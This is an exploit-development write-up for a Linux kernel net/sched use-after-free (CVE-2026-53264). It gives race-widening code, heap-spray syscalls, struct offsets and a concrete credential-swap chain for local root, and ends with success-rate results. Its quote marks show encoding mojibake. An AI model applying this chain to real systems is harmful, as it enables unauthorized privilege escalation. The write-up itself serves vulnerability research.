Exploiting CVE-2026-53264 with One Function

The Linux kernelโ€™s net/sched: act_api subsystem contains a use-after-free vulnerability: the action release path violates the RCU lifetime rules and calls kfree() to free the object directly.

This creates a race window: after CPU A obtains a pointer to object A inside an RCU read-side critical section, CPU B frees object A before CPU A has left the critical section. CPU A then keeps accessing object A through the now-dangling pointer.

Call the object corrupted by the use-after-free the Victim Object, and the object that takes over its memory the Reclaim Object.

Root Cause

static void free_tcf(struct tc_action *p)
{
	struct tcf_chain *chain = rcu_dereference_protected(p->goto_chain, 1);

	free_percpu(p->cpu_bstats);
	free_percpu(p->cpu_bstats_hw);
	free_percpu(p->cpu_qstats);

	tcf_set_action_cookie(&p->user_cookie, NULL);
	if (chain)
		tcf_chain_put_by_act(chain);

	/* kfree immediately */
	kfree(p);
}

free_tcf() calls kfree(p); directly.

int tcf_idr_check_alloc(struct tc_action_net *tn, u32 *index,
			struct tc_action **a, int bind)
{
	struct tcf_idrinfo *idrinfo = tn->idrinfo;
	struct tc_action *p;
	int ret;
	u32 max;

	if (*index) {
		/* RCU period start */
		rcu_read_lock();
		p = idr_find(&idrinfo->action_idr, *index);

		/* [1] race window start */

		if (IS_ERR(p)) {
			/* This means that another process allocated
			 * index but did not assign the pointer yet.
			 */
			rcu_read_unlock();
			return -EAGAIN;
		}

		if (!p) {
			/* Empty slot, try to allocate it */
			max = *index;
			rcu_read_unlock();
			goto new;
		}

		/* [2] race window end */

		if (!refcount_inc_not_zero(&p->tcfa_refcnt)) {
			/* Action was deleted in parallel */
			rcu_read_unlock();
			return -EAGAIN;
		}

		if (bind)
			atomic_inc(&p->tcfa_bindcnt);
		*a = p;

		/* RCU period end */
		rcu_read_unlock();

p = idr_find(&idrinfo->action_idr, *index); looks up *index and returns the corresponding struct tc_action *p;.

if (!refcount_inc_not_zero(&p->tcfa_refcnt)) checks that p->tcfa_refcnt is non-zero and otherwise returns an error.

Normally, once p has been freed, p->tcfa_refcnt is exactly 0. The race window therefore sits between p = idr_find(&idrinfo->action_idr, *index); and if (!refcount_inc_not_zero(&p->tcfa_refcnt)).

To bypass this check, the Reclaim Object must be in place beforehand, overwriting p->tcfa_refcnt with a value greater than 0.

Race sequence diagram:

sequenceDiagram
    participant C0 as CPU 0: use
    participant C1 as CPU 1: free
    participant C2 as CPU 2: reclaim

    Note over C0: p = idr_find(&idrinfo->action_idr, *index);

    Note over C1: kfree(p);

    Note over C2: reclaim and p->tcfa_refcnt > 0

    Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))

Exploitation Requirements

static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
			     struct netlink_ext_ack *extack)
{
	/* ... */

	if (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))
		return -EPERM;

	/* ... */
}

Userspace configures Qdiscs through rtnetlink, which requires the owner of the net namespace to hold CAP_NET_ADMIN.

An unprivileged user can create a user namespace, gain CAP_NET_ADMIN inside it, and then create a net namespace to configure Qdiscs. This requires the Linux kernel to be built with CONFIG_USER_NS and CONFIG_NET_NS.

Vulnerability Trigger Path

static int tc_ctl_action(struct sk_buff *skb, struct nlmsghdr *n,
			 struct netlink_ext_ack *extack)
{
	/* ... */

	if ((n->nlmsg_type != RTM_GETACTION) &&
	    !netlink_capable(skb, CAP_NET_ADMIN))
		return -EPERM;

	/* ... */
}
bool netlink_capable(const struct sk_buff *skb, int cap)
{
	return netlink_ns_capable(skb, &init_user_ns, cap);
}

Configuring actions through RTM_NEWACTION and RTM_DELACTION checks whether the user holds CAP_NET_ADMIN in init_user_ns.

This is a historical artifact: as user namespaces were developed, Qdisc configuration was gradually opened up to user namespaces, but the action configuration interfaces were missed.

Actions can still be configured indirectly through RTM_NEWTFILTER and RTM_DELTFILTER.

rtnl_lock()

rtnl_lock() takes the global rtnetlink mutex. If RTM_NEWTFILTER and RTM_DELTFILTER acquire this lock, the two operations get serialized and cannot race.

static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack)
{
	/* ... */

    bool rtnl_held = false;

	/* ... */

	/* Take rtnl mutex if rtnl_held was set to true on previous iteration,
	 * block is shared (no qdisc found), qdisc is not unlocked, classifier
	 * type is not specified, classifier is not unlocked.
	 */
	if (rtnl_held ||
	    (q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
	    !tcf_proto_is_unlocked(name)) {
		rtnl_held = true;
		rtnl_lock();
	}

	/* ... */
}
static bool tcf_proto_is_unlocked(const char *kind)
{
	const struct tcf_proto_ops *ops;
	bool ret;

	if (strlen(kind) == 0)
		return false;

	ops = tcf_proto_lookup_ops(kind, false, NULL);
	/* On error return false to take rtnl lock. Proto lookup/create
	 * functions will perform lookup again and properly handle errors.
	 */
	if (IS_ERR(ops))
		return false;

	ret = !!(ops->flags & TCF_PROTO_OPS_DOIT_UNLOCKED);
	module_put(ops->owner);
	return ret;
}

Bypassing rtnl_lock() for the RTM_NEWTFILTER operation requires all of the following:

  1. rtnl_held == false.
  2. struct Qdisc *q != NULL with QDISC_CLASS_OPS_DOIT_UNLOCKED set in q->ops->cl_ops->flags, or struct Qdisc *q == NULL.
  3. The corresponding filter type has TCF_PROTO_OPS_DOIT_UNLOCKED set.
static int tc_del_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack)
{
	/* ... */

	/* Take rtnl mutex if flushing whole chain, block is shared (no qdisc
	 * found), qdisc is not unlocked, classifier type is not specified,
	 * classifier is not unlocked.
	 */
	if (!prio ||
	    (q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||
	    !tcf_proto_is_unlocked(name)) {
		rtnl_held = true;
		rtnl_lock();
	}

	/* ... */
}

Bypassing rtnl_lock() for the RTM_DELTFILTER operation requires all of the following:

  1. The filter prio != 0.
  2. struct Qdisc *q != NULL with QDISC_CLASS_OPS_DOIT_UNLOCKED set in q->ops->cl_ops->flags, or struct Qdisc *q == NULL.
  3. The corresponding filter type has TCF_PROTO_OPS_DOIT_UNLOCKED set.

To bypass rtnl_lock(), pick a Qdisc type whose cl_ops->flags includes QDISC_CLASS_OPS_DOIT_UNLOCKED and a filter type with TCF_PROTO_OPS_DOIT_UNLOCKED set.

static const struct Qdisc_class_ops clsact_class_ops = {
	.flags		=	QDISC_CLASS_OPS_DOIT_UNLOCKED,
	.leaf		=	ingress_leaf,
	.find		=	clsact_find,
	.walk		=	ingress_walk,
	.tcf_block	=	clsact_tcf_block,
	.bind_tcf	=	clsact_bind_filter,
	.unbind_tcf	=	ingress_unbind_filter,
};

The clsact Qdisc sets QDISC_CLASS_OPS_DOIT_UNLOCKED in its cl_ops->flags.

This requires the Linux kernel to be built with CONFIG_NET_SCH_INGRESS.

static struct tcf_proto_ops cls_fl_ops __read_mostly = {
	.kind		= "flower",
	.classify	= fl_classify,
	.init		= fl_init,
	.destroy	= fl_destroy,
	.get		= fl_get,
	.put		= fl_put,
	.change		= fl_change,
	.delete		= fl_delete,
	.delete_empty	= fl_delete_empty,
	.walk		= fl_walk,
	.reoffload	= fl_reoffload,
	.hw_add		= fl_hw_add,
	.hw_del		= fl_hw_del,
	.dump		= fl_dump,
	.terse_dump	= fl_terse_dump,
	.bind_class	= fl_bind_class,
	.tmplt_create	= fl_tmplt_create,
	.tmplt_destroy	= fl_tmplt_destroy,
	.tmplt_reoffload = fl_tmplt_reoffload,
	.tmplt_dump	= fl_tmplt_dump,
	.get_exts	= fl_get_exts,
	.owner		= THIS_MODULE,
	.flags		= TCF_PROTO_OPS_DOIT_UNLOCKED,
};
MODULE_ALIAS_NET_CLS("flower");

The flower filter sets TCF_PROTO_OPS_DOIT_UNLOCKED.

This requires the Linux kernel to be built with CONFIG_NET_CLS_FLOWER.

Race Optimization

The race window is extremely short and hard to hit, so some optimization is needed to improve the hit rate.

timerfd + epoll

This is a generic technique for extending the race window in time.

Arm a timer with timerfd; when it expires, it raises a hard interrupt on the CPU. Register the timerfd with a large number of epoll fds, so the hard interrupt has to notify all of them.

This dramatically increases the time spent in the hard interrupt, while other tasks on the CPU are suspended until it finishes.

If the timerfd expires inside the race window, the hard interrupt comes in, the tasks on the CPU are suspended, and the race window stays open until the interrupt finishes and the refcount_inc_not_zero() check completes. The interruptโ€™s time window is then also the race window.

The race sequence diagram at this point:

sequenceDiagram
    participant C0 as CPU 0: use
    participant C1 as CPU 1: free
    participant C2 as CPU 2: reclaim

    Note over C0: p = idr_find(&idrinfo->action_idr, *index);

    Note over C0: hard irq

    Note over C0: hard irq time window

    Note over C1: kfree(p);

    Note over C2: reclaim and p->tcfa_refcnt > 0

    Note over C0: hard irq time window

    Note over C0: hard irq finish

    Note over C0: if (!refcount_inc_not_zero(&p->tcfa_refcnt))

Example code:

int timerfd_epoll(void)
{
	struct itimerspec its = { .it_value = { .tv_nsec = 10000 } };
	struct epoll_event ev = { .events = EPOLLIN };
	int dup_tfds[100] = { 0 };
	int epfds[500] = { 0 };
	int tfd;

	tfd = timerfd_create(CLOCK_MONOTONIC, TFD_NONBLOCK);

	for (int i = 0; i < 100; i++)
		dup_tfds[i] = dup(tfd);

	for (int i = 0; i < 500; i++) {
		epfds[i] = epoll_create1(0);

		/*
		 * all timerfd are registered to epoll fd
		 * 100 timerfd will expire at same time, wakeup epoll fd 100 times
		 * 100 timerfd with 500 epoll fd will wakeup epoll fd 100 * 500 times
		 */
		for (int n = 0; n < 100; n++)
			epoll_ctl(epfds[i], EPOLL_CTL_ADD, dup_tfds[n], &ev);
	}

	/* start timerfd alarm */
	timerfd_settime(tfd, 0, &its, NULL);

	return EXIT_SUCCESS;
}

Since there is no guarantee the timerfd expires exactly inside the race window, some randomness must be added before opening it.

This is analogous to string matching:

The string is ABCDEFG and the pattern is EFG. Place EFG at the far left of the string and match: ABC matches. Slide right by one unit: BCD matches. Eventually the alignment succeeds and EFG matches.

The string is fixed, just as the timerfd expiry is fixed. Sliding EFG right by one unit is like sliding the race window right by one unit; as long as the timerfd expiry lands within the race window, the race window effectively stays open.

A busy loop provides the finest-grained sleep possible.

int spin = (i * 30) % 2000;
for (volatile int n = 0; n < spin; n++)
	;

This slides by 30 units per iteration, over a range of 0โ€“1999.

binder thread

A binder thread sends an RTM_NEWTFILTER rtnetlink packet that creates one filter and two actions โ€” deliberately with the second action built incompletely.

int tcf_action_init(struct net *net, struct tcf_proto *tp, struct nlattr *nla,
		    struct nlattr *est, struct tc_action *actions[],
		    int init_res[], size_t *attr_size,
		    u32 flags, u32 fl_flags,
		    struct netlink_ext_ack *extack)
{
	/* ... */

	for (i = 1; i <= TCA_ACT_MAX_PRIO && tb[i]; i++) {
		act = tcf_action_init_1(net, tp, tb[i], est, ops[i - 1],
					&init_res[i - 1], flags, extack);
		if (IS_ERR(act)) {
			err = PTR_ERR(act);
			goto err;
		}
		sz += tcf_action_fill_size(act);
		/* Start from index 0 */
		actions[i - 1] = act;

	/* ... */

	/* We have to commit them all together, because if any error happened in
	 * between, we could not handle the failure gracefully.
	 */
	tcf_idr_insert_many(actions, init_res);

	/* ... */

err:
	tcf_action_destroy(actions, flags & TCA_ACT_FLAGS_BIND);

	/* ... */
}

The actions are created in a loop and committed together once all succeed. The first action is created successfully, but the second one fails, so the code jumps to the err path and destroys every action created so far, failing the whole RTM_NEWTFILTER operation.

The benefit is that this opens the race window without sending an RTM_DELTFILTER packet for cleanup, saving time and reducing noise. The race window then appears more frequently, improving the hit rate.

filter chain

static int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack)
{
	/* ... */

		mutex_unlock(&chain->filter_chain_lock);
		tp_new = tcf_proto_create(name, protocol, prio, chain,
					  rtnl_held, extack);
		if (IS_ERR(tp_new)) {
			err = PTR_ERR(tp_new);
			goto errout_tp;
		}

	/* ... */
}

Each filter chain has a per-chain global lock, chain->filter_chain_lock. Using multiple chains avoids serializing the operations and greatly improves racing efficiency.

Racing Multiple Actions

The racing is extremely fast; racing a single action creates massive overshoot and the success rate has already maxed out. Racing multiple actions instead increases the chance of success.

Flushing the L1D Cache

L1D is the per-CPU level-1 data cache. Flushing it increases the latency of CPU data accesses, stretching the race window.

Example code:

/* greater than L1D size */
#define L1D_FLUSH_SIZE (64 * 1024)

static char buf[L1D_FLUSH_SIZE] __attribute__((aligned(64)));
volatile char a;

for (int i = 0; i < L1D_FLUSH_SIZE; i += 64)
	a = buf[i];

Final Racing Strategy

Three binder threads on different CPUs and different filter chains race ten actions simultaneously.

A creater thread on yet another CPU and filter chain repeatedly creates and deletes the ten racing actions through RTM_NEWTFILTER and RTM_DELTFILTER.

One thread must create the actions correctly, because the binder threadsโ€™ creation ultimately fails.

Exploit

After the race optimizations, the UAF triggers reliably, yielding the Victim Object.

KASLR

The KASLR base is leaked with EntryBleed, ported from kasld.

RIP

The action used is gact, the most common action type. This requires the Linux kernel to be built with CONFIG_NET_ACT_GACT.

int tcf_idr_create(struct tc_action_net *tn, u32 index, struct nlattr *est,
		   struct tc_action **a, const struct tc_action_ops *ops,
		   int bind, bool cpustats, u32 flags)
{
	struct tc_action *p = kzalloc(ops->size, GFP_KERNEL);

	...
}
EXPORT_SYMBOL(tcf_idr_create);

Creating an action means allocating the struct tc_action subclass for that action type.

static struct tc_action_ops act_gact_ops = {
	.kind		=	"gact",
	.id		=	TCA_ID_GACT,
	.owner		=	THIS_MODULE,
	.act		=	tcf_gact_act,
	.stats_update	=	tcf_gact_stats_update,
	.dump		=	tcf_gact_dump,
	.init		=	tcf_gact_init,
	.get_fill_size	=	tcf_gact_get_fill_size,
	.offload_act_setup =	tcf_gact_offload_act_setup,
	.size		=	sizeof(struct tcf_gact),
};
MODULE_ALIAS_NET_ACT("gact");

The gact subclass is struct tcf_gact.

# pahole -C tcf_gact vmlinux
struct tcf_gact {
        struct tc_action           common __attribute__((__aligned__(16))); /*     0   192 */

        /* XXX last struct has 4 bytes of padding, 4 holes */

        /* --- cacheline 3 boundary (192 bytes) --- */
        u16                        tcfg_ptype;           /*   192     2 */
        u16                        tcfg_pval;            /*   194     2 */
        int                        tcfg_paction;         /*   196     4 */
        atomic_t                   packets __attribute__((__aligned__(4))); /*   200     4 */

        /* size: 208, cachelines: 4, members: 5 */
        /* padding: 4 */
        /* member types with holes: 1, total: 4 */
        /* paddings: 1, sum paddings: 4 */
        /* forced alignments: 2 */
        /* last cacheline: 16 bytes */
} __attribute__((__aligned__(16)));

struct tcf_gact is 208 bytes, landing in the kmalloc-256 slab cache.

Spray struct user_key_payload to reclaim the Victim Objectโ€™s slab slot, obtaining the Reclaim Object.

The action is only actually freed once its refcount reaches zero, on an arbitrary CPU.

So a spray thread must be created on every possible CPU.

Creating a struct user_key_payload:

key = syscall(SYS_add_key, "user", "x", payload, sizeof(payload), KEY_SPEC_PROCESS_KEYRING);

Updating the struct user_key_payload, used for spraying:

syscall(SYS_keyctl, KEYCTL_UPDATE, key, payload, sizeof(payload));
# pahole -C user_key_payload vmlinux
struct user_key_payload {
        struct callback_head       rcu __attribute__((__aligned__(8))); /*     0    16 */
        short unsigned int         datalen;              /*    16     2 */

        /* XXX 6 bytes hole, try to pack */

        char                       data[] __attribute__((__aligned__(8))); /*    24     0 */

        /* size: 24, cachelines: 1, members: 3 */
        /* sum members: 18, holes: 1, sum holes: 6 */
        /* forced alignments: 2, forced holes: 1, sum forced holes: 6 */
        /* last cacheline: 24 bytes */
} __attribute__((__aligned__(8)));

The struct user_key_payload header is 24 bytes; data is a flexible array whose size is fixed at creation.

int user_preparse(struct key_preparsed_payload *prep)
{
	...

	upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
	if (!upayload)
		return -ENOMEM;

	...
}
EXPORT_SYMBOL_GPL(user_preparse);

The size of struct user_key_payload is the header size plus the data size. For struct user_key_payload to also land in the kmalloc-256 slab cache, data + 24 must be greater than 192 and at most 256.

long keyctl_update_key(key_serial_t id,
		       const void __user *_payload,
		       size_t plen)
{
	...

	/* pull the payload in if one was supplied */
	payload = NULL;
	if (plen) {
		ret = -ENOMEM;
		payload = kvmalloc(plen, GFP_KERNEL);
		if (!payload)
			goto error;

		ret = -EFAULT;
		if (copy_from_user(payload, _payload, plen) != 0)
			goto error2;
	}

	...
}

Updating a key first allocates memory for the payload โ€” i.e. data. If data is larger than 192 it also lands in the kmalloc-256 slab cache.

This interferes with the exploit, because data may itself reclaim the Victim Objectโ€™s slab slot.

As long as data is greater than 168 and at most 192, data lands in the kmalloc-192 slab cache โ€” 168 + 24 + 1 = 192 + 1 โ€” and struct user_key_payload still lands in kmalloc-256.

Once the Reclaim Object is in place, if (!refcount_inc_not_zero(&p->tcfa_refcnt)) will check whether p->tcfa_refcnt is zero โ€” this check must be bypassed.

# pahole -C tc_action vmlinux
struct tc_action {
	...

	refcount_t tcfa_refcnt __attribute__((__aligned__(4))); /*    28     4 */

	...
} __attribute__((__aligned__(16)));

tcfa_refcnt sits at offset 28, overlapping the Reclaim Objectโ€™s data[4] for 4 bytes, so set *(uint32_t *)(data + 4) to a value greater than 0.

static size_t tcf_action_fill_size(const struct tc_action *act)
{
	size_t sz = tcf_action_shared_attrs_size(act);

	if (act->ops->get_fill_size)
		return act->ops->get_fill_size(act) + sz;
	return sz;
}

While creating actions in its loop, tcf_action_init() calls tcf_action_fill_size() for each successfully created action, which ends up calling act->ops->get_fill_size().

Controlling this function pointer controls RIP.

# pahole -C tc_action vmlinux
struct tc_action {
	const struct tc_action_ops  * ops;               /*     0     8 */

	...
} __attribute__((__aligned__(16)));

The ops pointer, at offset 0.

# pahole -C user_key_payload vmlinux
struct user_key_payload {
	struct callback_head rcu __attribute__((__aligned__(8))); /*     0    16 */

	...
} __attribute__((__aligned__(8)));

Offset 0 of struct user_key_payload is the struct callback_head rcu.

# pahole -C callback_head vmlinux
struct callback_head {
        struct callback_head *     next;                 /*     0     8 */
        void                       (*func)(struct callback_head *); /*     8     8 */

        /* size: 16, cachelines: 1, members: 2 */
        /* last cacheline: 16 bytes */
} __attribute__((__aligned__(8)));

The first 8 bytes of struct callback_head are struct callback_head *next, which overlaps the ops pointer. Whether struct callback_head *next points to attacker-controlled memory is therefore the key to the exploit.

int user_update(struct key *key, struct key_preparsed_payload *prep)
{
	struct user_key_payload *zap = NULL;

	...

	zap = dereference_key_locked(key);

	if (zap)
		call_rcu(&zap->rcu, user_free_payload_rcu);

	...
}
EXPORT_SYMBOL_GPL(user_update);

Updating a struct user_key_payload calls call_rcu() to free the stale one after a grace period.

void rcu_segcblist_enqueue(struct rcu_segcblist *rsclp,
			   struct rcu_head *rhp)
{
	...

	WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);
	WRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);

	...
}

call_rcu() ends up in rcu_segcblist_enqueue(), where rhp is the &zap->rcu passed in by call_rcu().

#define rcu_head callback_head

struct rcu_head is just struct callback_head.

struct rcu_head **tails[RCU_CBLIST_NSEGS] is a triple pointer.

rsclp->tails[RCU_NEXT_TAIL] has type struct rcu_head **; *rsclp->tails[RCU_NEXT_TAIL] is a struct rcu_head *.

WRITE_ONCE(*rsclp->tails[RCU_NEXT_TAIL], rhp);

*rsclp->tails[RCU_NEXT_TAIL] = rhp

WRITE_ONCE(rsclp->tails[RCU_NEXT_TAIL], &rhp->next);

rsclp->tails[RCU_NEXT_TAIL] = &rhp->next

rsclp->tails[RCU_NEXT_TAIL] points to the next pointer of the last element in the list.

*rsclp->tails[RCU_NEXT_TAIL] is the last elementโ€™s next pointer.

While spraying struct user_key_payload, a large number of them are added to the list, most likely contiguously.

That means struct callback_head *next most likely points at another sprayed struct user_key_payload โ€” i.e. ops points at attacker-controlled memory.

flowchart LR
	subgraph A["struct tc_action"]
		direction TB
		A1@{ shape: text, label: "+0x00 ops" }
	end

	subgraph B["struct user_key_payload"]
		direction TB
		subgraph B1["struct callback_head"]
			direction TB
			B2@{ shape: text, label: "+0x00 next" }
		end
	end

	subgraph C["struct user_key_payload"]
		direction TB
		subgraph C1["struct callback_head"]
			direction TB
			C2@{ shape: text, label: "+0x00 next" }
		end
	end

	A1 -->|same slab slot| B2
	B2 -->|another slab slot| C2

	style A1 fill:#00b86e
	style B2 fill:#00b86e

This requires the Reclaim Object and another sprayed struct user_key_payload to have been added to the list one after the other before act->ops is dereferenced.

This likely holds, but it does reduce exploit reliability.

# pahole -C tc_action_ops vmlinux
struct tc_action_ops {
	...

	size_t (*get_fill_size)(const struct tc_action  *); /*   112     8 */

	...
};

*get_fill_size() sits at offset 112; 112 - 24 = 88, overlapping the Reclaim Objectโ€™s data[88].

root

With RIP controlled, the next step is local privilege escalation. The kernel version is v7.1-rc5, and no usable stack pivot gadget was found for this build.

[0xffffffff818c8250]> pD 94 @ sym.tcf_action_fill_size
โ•ญ size_t sym.tcf_action_fill_size(const struct tc_action *act);
โ”‚       โ•ญโ”€< 0xffffffff821085e5      je      0xffffffff821085f2
โ”‚       โ”‚   0xffffffff821085e7      movq    %r12, %rdi                 ; act_api.c:473 return act->ops->get_fill_size(act) + sz;
โ”‚       โ”‚   0xffffffff821085ea      callq   loc.__pi___x86_indirect_thunk_rax
        โ”‚   0xffffffff821085ef      addq    %rax, %rbx
โ”‚       โ•ฐโ”€> 0xffffffff821085f2      movq    %rbx, %rax                 ; act_api.c:475 }

0xffffffff821085ea calls act->ops->get_fill_size().

Set a breakpoint at 0xffffffff821085ea to observe the registers at that point.

โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[ REGISTERS / show-flags off / show-compact-regs off ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 RDI  0xffff888003fc8600 โ€”โ–ธ 0xffff888003fc9d00 โ€”โ–ธ 0xffff888003fc9c00 โ€”โ–ธ 0xffff888003fc8c00 โ€”โ–ธ 0xffff888003fc8b00 โ—‚โ€” ...
 R12  0xffff888003fc8600 โ€”โ–ธ 0xffff888003fc9d00 โ€”โ–ธ 0xffff888003fc9c00 โ€”โ–ธ 0xffff888003fc8c00 โ€”โ–ธ 0xffff888003fc8b00 โ—‚โ€” ...
 R15  0xffff888003fc8600 โ€”โ–ธ 0xffff888003fc9d00 โ€”โ–ธ 0xffff888003fc9c00 โ€”โ–ธ 0xffff888003fc8c00 โ€”โ–ธ 0xffff888003fc8b00 โ—‚โ€” ...

%rdi, %r12, and %r15 all point at the Reclaim Object.

The initial idea was to hijack RIP to commit_creds() with the Reclaim Object as the struct cred *new argument.

# pahole -C cred vmlinux
struct cred {
	atomic_long_t usage;                /*     0     8 */

	...
} __attribute__((__aligned__(8)));

But usage overlaps struct callback_head *next; โ€” the ops pointer โ€” which points to a heap address, and heap addresses always start with 0xffff.

typedef struct {
	long counter;
} atomic_long_t;
int commit_creds(struct cred *new)
{
	...

	BUG_ON(atomic_long_read(&new->usage) < 1);

	...
}

usage is a signed type, so a value starting with 0xffff is interpreted as negative; the runtime assertion in commit_creds() then fails and the kernel panics.

const struct cred *ovl_override_creds(struct super_block *sb)
{
	struct ovl_fs *ofs = OVL_FS(sb);

	return override_creds(ofs->creator_cred);
}
struct task_struct init_task __aligned(L1_CACHE_BYTES) = {
	...

	RCU_POINTER_INITIALIZER(cred, &init_cred),

	...
};
EXPORT_SYMBOL(init_task);

The final choice was to hijack RIP to ovl_override_creds() and use init_task.cred for privilege escalation. This function calls override_creds() to replace the current CPU taskโ€™s cred with ofs->creator_cred.

static inline struct ovl_fs *OVL_FS(struct super_block *sb)
{
	if (IS_ENABLED(CONFIG_OVERLAY_FS_DEBUG))
		WARN_ON_ONCE(sb->s_type != &ovl_fs_type);

	return (struct ovl_fs *)sb->s_fs_info;
}

ofs is sb->s_fs_info.

# pahole -C super_block vmlinux
struct super_block {
	...

	void *                     s_fs_info;            /*   848     8 */

	...
} __attribute__((__aligned__(64)));

s_fs_info sits at offset 848 == 0x350.

[0xffffffff818c8250]> pD 56
โ•ญ const struct cred *sym.ovl_override_creds(struct super_block *sb);
โ”‚           0xffffffff818c8250      endbr64                            ; util.c:66 {
โ”‚           0xffffffff818c8254      callq   sym.__fentry
โ”‚           0xffffffff818c8259      movq    0x350(%rdi), %rax          ; util.c:67 struct ovl_fs *ofs = OVL_FS(sb);
โ”‚           0xffffffff818c8260      pushq   %rbp                       ; util.c:66 {
โ”‚           0xffffffff818c8261      movq    0x78(%rax), %rcx           ; util.c:69 return override_creds(ofs->creator_cred);
โ”‚           0xffffffff818c8265      movq    obj.current_task, %rax     ; current.h:20 static __always_inline struct task_struct *get_current(void)
โ”‚           0xffffffff818c826d      movq    %rsp, %rbp                 ; util.c:66 {
โ”‚           0xffffffff818c8270      movq    0x7c8(%rax), %rdx          ; cred.h:183 return rcu_replace_pointer(current->cred, override_cred, 1);
โ”‚           0xffffffff818c8277      movq    %rcx, 0x7c8(%rax)          ; current.h:20 static __always_inline struct task_struct *get_current(void)
โ”‚           0xffffffff818c827e      movq    %rdx, %rax                 ; util.c:70 }
โ”‚           0xffffffff818c8281      popq    %rbp
โ•ฐ       โ•ญโ”€< 0xffffffff818c8282      jmp     loc.__pi___x86_return_thunk ; loc.__pi___x86_return_thunk
        โ”‚   0xffffffff818c8287      invalid

movq 0x350(%rdi), %rax: %rax = *(uintptr_t *)(%rdi + 0x350) == ofs

# pahole -C ovl_fs vmlinux
struct ovl_fs {
	const struct cred *creator_cred;         /*   120     8 */
} __attribute__((__aligned__(8)));

movq 0x78(%rax), %rcx: %rcx = *(uintptr_t *)(%rax + 0x78) == ofs->creator_cred

movq obj.current_task, %rax: loads the current CPUโ€™s struct task_struct * into %rax.

# pahole -C task_struct vmlinux
struct task_struct {
	const struct cred *cred;                 /*  1992     8 */
} __attribute__((__aligned__(64)));

cred sits at offset 1992 == 0x7c8.

movq %rcx, 0x7c8(%rax): *(uintptr_t *)(%rax + 0x7c8) == task_struct->cred = %rcx == ofs->creator_cred

%rdi is the Reclaim Object; the goal is *(*(%rdi + 0x350) + 0x78) = init_task.cred.

First, work out where *(%rdi + 0x350) lands within data.

0x350 % 256 = 80

80 - 24 = 56

So *(%rdi + 0x350) overlaps data[56] โ€” but not of this Reclaim Object.

0x350 / 256 = 3, so *(%rdi + 0x350) lands in memory starting at Reclaim Object + 3 * 256 โ€” which is not necessarily a kmalloc-256 slab slot; it could be a buddy-allocator free page or something else.

This requires Reclaim Object + 3 * 256 to also be a sprayed struct user_key_payload.

This significantly reduces exploit reliability.

kmalloc-256 slab block-beta:

block-beta
    columns 5

    space UAF["UAF"] space:3

    space P0["sprayed user_key_payload"] space:2 P3["sprayed user_key_payload"]

    slab["kmalloc-256 slab"] p0["[0]"] p1["[1]"] p2["[2]"] p3["[3]"]

Solve the equation *(data[56] + 0x78) = init_task.cred for data[56].

*(data[56] + 0x78) = init_task.cred = data[56] + 0x78 = &init_task.cred

data[56] + 0x78 = &init_task.cred = data[56] = &init_task.cred - 0x78

data[56] = &init_task.cred - 0x78 = data[56] = &init_task + 1992 - 0x78

[0xffffffff818c8250]> is~init_task
160018 0x01e0aa00 0xffffffff82c0aa00 GLOBAL OBJ    3264       init_task

init_taskโ€™s address, found with rizin.

data[56] = 0xffffffff82c0aa00 + 1992 - 0x78

Improving Reliability

This requires the Reclaim Object and another sprayed struct user_key_payload to have been added to the list one after the other before act->ops is dereferenced.

This barely affects exploit reliability: the action release path never calls call_rcu(), leaving only the high-frequency call_rcu() calls from the struct user_key_payload spraying, which almost completely drowns out system noise.

This requires Reclaim Object + 3 * 256 to also be a sprayed struct user_key_payload.

This is what actually affects exploit reliability. There are two cases.

  1. Reclaim Object + 3 * 256 is a kmalloc-256 slab slot.

The high-frequency action allocations and the high-frequency struct user_key_payload allocations compete in the same slab cache.

In this case the struct user_key_payload allocation rate must exceed the action allocation rate, and itโ€™s best to allocate several in a row each time.

Call sched_yield() before the spray starts, to give up the CPU, so the spray runs for a full time slice and sprays many struct user_key_payload back to back.

  1. Reclaim Object + 3 * 256 is a free page in the buddy allocator.

In this case the rate at which buddy free pages are refilled into the kmalloc-256 slab must be increased โ€” i.e. spray even more frequently.

On idle CPUs, spray struct user_key_payload at full speed, keeping only the spray code in the loop.

================================================
Summary
================================================
Total runs:      10
Successes:       9
Failures:        1
Avg time:        2358.819 ms
Min time:        68.026 ms
Max time:        6880.593 ms
Success rate:    90.00%
================================================

After the optimizations, ten consecutive runs achieve a success rate of roughly 80% to 90%, averaging about 3 seconds each.

References

Lee, J. J. (2026). When AI Makes 0-Days Feel Like N-Days. STAR LABS SG PTE. LTD. https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/.

Konovalov, A. (2024). SLUB Internals for Exploit Developers. xairy.io. https://static.sched.com/hosted_files/lsseu2024/37/2024%2C%20LSS%20EU_%20SLUB%20Internals%20for%20Exploit%20Developers.pdf.

